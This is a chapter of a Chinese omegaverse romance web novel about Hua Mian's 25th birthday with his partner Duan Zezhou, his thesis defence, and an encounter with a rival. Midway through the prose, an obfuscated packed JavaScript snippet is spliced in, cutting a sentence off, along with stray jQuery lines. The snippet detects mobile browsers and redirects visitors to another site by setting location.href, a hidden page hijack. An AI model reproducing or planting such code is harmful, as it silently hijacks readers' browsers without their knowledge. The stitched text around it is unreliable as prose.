10.10

作品:《段老师养花日记

    冬去春来,一转眼,这个冬天就结束了。


    进入春天后,花眠的生日也到了。


    花眠的生日很好记,是一个挺特殊的日子,在4月1号,刚好是愚人节的这一天。


    这些年过愚人节的人少了很多,从前还上高中的时候,班上的同学时常会在这一天跟他开一些无伤大雅的小玩笑。


    现在想起这些,花眠只觉得恍如隔世。


    好在,还是有人记得他的生日。


    他的大学同学们在写论文的繁忙之中,抽出了一天时间给花眠过生日。


    这是他们班的传统了。班上只要有人过生日,大家必定聚在一起给他庆祝。


    他们这个班集体感情好得让人羡慕。


    花眠平时不住宿舍,跟大家的关系倒也不错。他知道班上的同学在给他准备庆祝生日,为了表示谢意,便自己也做了一些蛋挞和小蛋糕,等到这一天送过去,请大家一起品尝。


    为此很是忙碌了好几天。


    吃饭的时候有男生喝酒,醉话从不知道怎么写的论文,聊到近在咫尺的未来,再到不知道怎么继续下去的恋爱关系。


    说着说着很是感伤,还掉了几滴眼泪。


    也有人凑到花眠身边问着他以后的打算。


    花眠没有什么打算,也不知该怎么回答这个问题,只能说:“走一步看一步吧。”


    问话的那人嘴里还在吃着花眠亲手烤的蛋挞。


    手指动一下,都是蛋液的香气。


    他两口吃掉蛋挞,说:“还有两个月,大家就要分开了,也不知道以后还有没有机会再见面。”


    喝醉了的人说的醉话,说者无意,听者倒是有心了。


    花眠抽出一张纸巾递给他擦手擦嘴,自己想了一会儿,很温和地笑了笑,眼神却无比认真。


    他说:“总归还是有机会见到的。就算以后大家天各一方,但有缘的人,总会有再见面的那一天的。”


    *


    大学生疯起来是不管时间的。一个生日的小小庆祝,也闹到了大半夜。


    花眠没有喝酒,在这个为了他而举办的小小聚会里,他作为主人公,留到最后,反而是最清醒的那一个。


    他给不住在宿舍的同学们叫了车,叮嘱他们到家之后一定要给他发个消息,又一趟一趟把住在宿舍的同学们送了回去。


    折腾了一晚上全都弄完,结束之后都快3点了。


    他倒是还好,本来也不是什么早睡早起的人,只苦了一直等他的段老师。


    段泽洲坐在车里困得哈欠连天,最后干脆睡着了。


    花眠走出学校小跑着来到车旁,敲了敲窗户都吵不醒段泽洲。


    花眠坏心眼地想,段老师平时总说自己睡得像猪一样,看来所言不假,倒是个诚实的男人呢!


    最后还是打了个电话,才把熟睡的人叫醒。


    段泽洲捋了一把头发,睡眼惺忪地把放平了的座位重新立好。


    他打开车门,让花眠上了车,带着浓浓睡意问了一句:“结束了啊。”


    平日里大律师的精明模样不见了,段泽洲甚至穿着睡衣睡裤,一脸懵地坐在驾驶座上。


    花眠看了好笑,说,“我来开车吧。”


    段泽洲摇了摇头,搓了一把脸,再睁开眼睛的时候神色已经恢复清明。


    “你歇着吧,我来。”


    说着,他扭头看了一眼花眠,说:“花老师今天好漂亮啊!”


    花眠有点害羞地抿了抿嘴,没说话。


    他今天起了个大早,好好地打扮了一下自己。


    垂至肩膀的长发被他吹了小卷。一整天过去了,形状也保持得很漂亮。


    花眠用手卷了卷发尾的头发,小声说:“研究了半天呢。”


    段泽洲看了觉得可爱得很,伸手揉了揉花眠的头发,说:“花老师人美,手也巧。”


    *


    繁忙的段律师赶了几天的进度,暂时忙完了手里的工作,也抽出一天时间,请假在家好好地布置了一下家里。


    他打扫了一遍家里的卫生,挑了一些花眠原先放在另一间卧室里的重要东西,搬到他们的主卧。


    在收拾东西的时候,段泽洲还找到了一件有点年头的小东西。


    是一个枫叶标本。


    他放下手里的所有东西,拿起那个标本仔细地看着。


    枫叶很红,塑封保存了三年,颜色也没有褪去。


    这片叶子长得很对称,左右两边的胖瘦高矮都差不多,一打眼看去精致得像张对称的画。


    ……不枉段泽洲当时蹲在地上找了快半个小时。


    他想起那时候的事,笑了。


    这笑意有一部分是在嘲笑自己当年的傻里傻气,也有一部分是在感慨花眠的用心。


    一片叶子也能保管得这样好。


    他把这个标本也拿回了主卧,打算想个办法挂到墙上。


    后来想想还是算了。


    把这个东西放在随时都能看到的地方,反倒显得有些刻意了。


    这些相爱的往事不需要刻意提起,它们一直都在那里。


    两人回到家中后,花眠很快就发现了这些物品的变化。


    他噔噔噔跑回自己原先住的房间看了看,又回到主卧看了看,最后坐到沙发上,一头扎进段泽洲的怀里。


    微卷的发尾柔顺地缠在段泽洲的手掌里,那点凉意逐渐被温暖的掌心赶跑。


    段泽洲煞有介事地说:“花老师,经段老师考验,你的作息时间,不会影响到我这个熟睡之后就像猪一样的人,特许你长期在这间主卧住下。”


    神经兮兮的。花眠笑着小声说:“那我是不是还要谢谢你?”


    段泽州给个台阶就上:“不客气。”


    两个人安静地靠在一起。几分钟后,段泽洲说:“明天请了一天假,我们也过过生日。有想去的地方,或者特别想吃的东西吗?”


    段泽洲做饭的手艺谈不上特别好,大概只能勉强到可以入口的程度。


    说起来也不能怪他,段老师平时是不做饭的人,他和林见清一样,对外卖来的垃圾食品情有独钟。


    真正开始琢磨着自己做饭,还是刚和花眠相爱的那段时间。


    那时花眠不好好吃饭,也不好好睡觉,整日就一言不发地闷头沉默着。段泽洲为了哄他吃饭,学了挺久该怎么烧菜。


    幸好段律师头脑聪明,动手能力也强,前后两周时间,他已经从一个从没下过厨房的人进化到了虽然卖相不怎么好看,但味道还算可口的程度。


    最难捱的那段时间里,段泽洲一口一口喂着花眠吃饭。


    后来花眠逐渐振作起来,便主动包揽了做饭的责任——他明里暗里说过好几次,段泽洲做饭这个手艺……不能算太好。


    不知是不是因为想到这个,花眠抿着嘴摇了摇头,说:“不用啦,我什么都不想。”


    他靠在段泽舟的肩膀上,微微抬起眼睛看着他,小声说:“我只想一直跟你在一起,就像现在这样。”


    他坐在段泽洲的身旁,两条腿搭在他的膝盖上,双手轻轻环着他的脖子。


    说完这句话,花眠双手微微用力,让段泽洲低下头来和他靠得更近。


    “我觉得现在这样就是最好的啦,我每天都觉得好幸福。”


    花眠并不是经常表露感情的人,但他撒起娇来也实在让人很难抵挡。


    这个瞬间段泽洲觉得世界都安静了,安静到他只能听到身旁的小爱人清浅的呼吸声。


    他像是有些不自在地清了清嗓子,用自己的鼻子碰着花眠的脸颊,开玩笑一样说:“段老师都这个年纪了,听不了这些话,你别天天肉麻兮兮的。”


    花眠鼓着脸,很小声地哼了一声,戳了戳他的肩膀,继续安静地靠在他的怀里。


    花眠那么开心,那么快乐。


    他的手指搭在段泽洲的背上,不知在和着什么样的节奏轻轻点着。


    渐渐的,空气中散开了一股若有似无的榛果香味。


    段泽洲也闭着眼睛,闻到这味道之后,先笑了:“谁家的Alpha信息素偷偷跑出来了?”


    花眠看了他一眼,好像想说点什么,最终又没好意思开口。


    段泽洲便自己回答道:“我们家的,我们家的。”


    信息素并不是个安全的话题。


    即使他们毫无保留地相爱着,在大多数的情况下,也会避免主动谈起这个话题。


    一方面的原因是……花眠曾经被沈重用一些不合法的手段注射过强行改变分化性别的药品。


    花眠被这些注射进身体的药剂损伤了腺体,信息素味道变得很淡。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112235|194592||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>其实花眠自己并不太在意这些,但段泽洲总是觉得心疼。


    几分钟之后,这点浅浅的榛果味道散了,空气里只留下了一点甜甜的坚果香味。


    花眠却在这时换了个姿势。


    他坐到段泽洲的腿上,主动凑过去吻他的下巴和唇角。


    段泽洲侧过头去,想要回吻住他,却被花眠躲了一下,避开了。


    花眠的长发挨着段泽洲的侧脸。发丝又重新变得微凉。


    花眠的吻和他这个人一样柔软,落在段泽洲的脸颊,轻得像羽毛。像是被哪只调皮的小猫用肉垫轻轻地拍了脸。


    而这个吻的落点,那么靠近Alpha口腔里的腺体。


    “哥哥,你疼吗?”花眠问他。


    段泽洲垂眼看他,轻声说了一句像是甜言蜜语的真心话:“你不疼,我就不疼,眠眠。”


    他看不清花眠的神情,只觉得花眠大概又会哭了。


    下一刻他听到花眠吸了吸鼻子,带着极不明显的鼻音,轻轻说:“我不疼,哥哥。我觉得我是世界上最幸福的人。”


    *


    不知是不是因为折腾了一天,也实在是累了,花眠靠在段泽洲怀里,不知不觉竟睡着了。


    这可真是天大的稀罕事儿。


    段泽洲新奇地看着小恋人的睡颜,脸上是自己都未曾发觉的柔和和温暖。


    今天,是花眠25岁的生日。


    有的时候,段泽洲也会想,命运真的是很奇妙的东西。


    经历了这么多,扛过了这么多。花眠过去那几年的人生,复杂得像是走完了别人的半辈子。


    可如今一看,他不过才25岁的年纪。


    25岁,正是该肆意盛开、肆意绽放的年纪。


    段泽洲怀拥紧怀里的小爱人,心里软得一塌糊涂。


    花眠25岁的生日就在这样平淡祥和的氛围里过去了。


    他也没有心情在生日这件事情上耗费太多时间——他快毕业了,他得准备毕业论文。


    之前的毕业论文按照林见清的意见进行了修改。改过之后,花眠反复纠结了很多天,最后鼓起勇气,把改后的论文发给了林见清,准备接受她的审判。


    林见清当时大约在忙,没顾得上理他,只淡淡地回复了一句,你先给小洲看看。


    花眠如获大赦,赶紧把自己的论文发给了段泽洲。


    ……但是他高兴的太早了,他好像忘了,段泽洲也是在政法大学挂了副教授的名的。


    段家这一家三口,就属段泽洲的职称最低。


    段泽洲的态度要比林见清委婉一些:“眠眠,这个逻辑你再捋一捋。”


    花眠沮丧地瘫倒在地。


    但,有人指导总是好的。


    在段泽洲的建议之下,花眠把论文的框架重新梳理了三遍,最后终于勉勉强强得到了段老师的允许,把论文交上去了。


    也很顺利地一次通过了——不仅一次通过,还被按下来报了优秀论文展示,一周之后进行第二次汇报。


    花眠觉得天都塌了。


    失魂落魄地熬到了下一次答辩,花眠握拳暗想,这一次要表现得差一些,绝对不能再被评优秀了!


    他挤在一群学霸里,茫然得像是一只混入了国际象棋棋子的萨摩耶。


    幸好幸好,这一次的答辩,他以一分之差被刷掉落选,没有再被选中参与市里优秀论文的评选。


    花眠心情很好地收拾着东西,一路哼着歌交了论文准备回家。


    ……然后,在教学楼门口遇到了阴魂不散的钟意。


    不打离婚官司的钟意看上去颇为春风得意。他似乎盯着花眠很久了,连他今天来做什么都一清二楚。


    彼时花眠刚洗过手,正往手上擦着护手霜——鼓捣这些烘焙太久了,花眠手上的皮肤总是有些干燥。段泽洲一箱一箱往家里搬着护手霜,几乎在家里的各个角落都摆上了。


    手里的这款樱花味道的护手霜花眠不是太喜欢,用得也慢。


    带着点香精的甜味在空气里逐渐蔓延开,毫不意外地落进了钟意的鼻子里。


    他的视线从花眠脸上逐渐挪到手上。他盯着花眠将手里的东西放回口袋后,才笑着开口,说:“每天做饭把手做成这样。小洲就是这么养你的?听他豪言壮语的,我还以为把你养得多好。”